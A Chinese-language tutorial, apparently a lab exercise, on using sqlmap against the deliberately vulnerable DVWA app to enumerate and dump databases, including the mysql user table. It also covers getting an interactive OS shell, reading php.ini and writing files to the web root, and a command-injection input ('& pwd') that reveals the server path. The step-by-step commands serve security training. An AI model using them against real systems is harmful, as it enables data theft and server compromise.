sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,错误回显注入,联合查询注入,堆查询注入等。
利用sqlmap进行POST注入
1.POST注入形成的原因
POST注入也属于SQL注入,所以究其原因还是由于参数没有过滤导致的。
2.流程
选择Brute Force选项,username和password随便输入,然后打开burpsuite,进行抓包。将抓到的包保存为1.txt,并放到c盘根目录下。
- 列数据库,输入命令:sqlmap.py -r c:\1.txt -p username --dbs(--current-db)
- 猜表,输入命令:sqlmap.py -r c:\1.txt-p username -D mysql --tables
- 猜列,输入命令:sqlmap.py -r c:\1.txt-p username -D mysql -T user --columns
- 猜数据,输入命令:sqlmap.py -r c:\1.txt -p username -D mysql -T user -C “User,Password” ----dump
-r:加载一个文件 -p:指定参数
利用sqlmap交互式写shell
1.流程
- 选择Command Execution,并输入:10.1.1.136 & pwd。获得一个绝对路径,/opt/lampp/htdocs/vulnerabilities/exec,存入1.txt。
-
选择SQL Injection,随意输入一个数,使用burpsuite进行抓包,获取cookie,存入1.txt。将包放出去(forword),停止监听。
-
将网址(DVWA-SQL Injection)复制到1.txt中。
-
判断用户是否为dba,输入命令:
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --is-dba
-u:注入点 -
接下来使用sqlmap进行交互式写shell,输入命令:
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --os-shell
脚本类型为PHP,所以输入4。
选择2,输入第一步得到的绝对路径。
利用sqlmap辅助手工注入
1.流程
- 找到并打开SQL Injection,随便提交一个数,打开burpsuite抓包,然后点击submit,获取cookie
-
使用内置函数获取用户名,版本,数据库名等信息,输入:
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"
--sql-query "select user(),version(),database()" -
得到数据库名为dvwa,接下来猜表,输入:
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"
--sql-query "(select count(*) from dvwa.users)>0"
返回1则存在user表 -
开始猜列,输入:
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"
--sql-query "(select count(username) from dvwa.users)>=0"
没有返回,说明不存在username列,将username改为user,返回1。
--sql-query "(select count(password) from dvwa.users)>=0" -
猜内容,输入:
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit"
--cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"
--sql-query "select user,password from dvwa.users" -
借助sqlmap选项--sql-query结合手工注入语句就得到了user表中的用户信息
利用sqlmap进行文件读写
1.流程
- 选择Command Execution,并输入:10.1.1.136 & pwd。获得一个绝对路径,/opt/lampp/htdocs/vulnerabilities/exec,存入1.txt。
-
选择SQL Injection,随意输入一个数,使用burpsuite进行抓包,获取cookie,存入1.txt。将包放出去(forword),停止监听。
-
将网址(DVWA-SQL Injection)复制到1.txt中。
-
读取服务器端文件,输入:
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit"
--cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"
--file-read=/opt/lampp/htdocs/php.ini
成功读取了php.ini文件,并返回了路径。 - 在服务器端写入文件,输入:
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"
--file-write C:\1.txt
--file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt说明:将本地C:\1.txt 写入到服务器端/opt/lampp/htdocs/vulnerabilities/exec/1.txt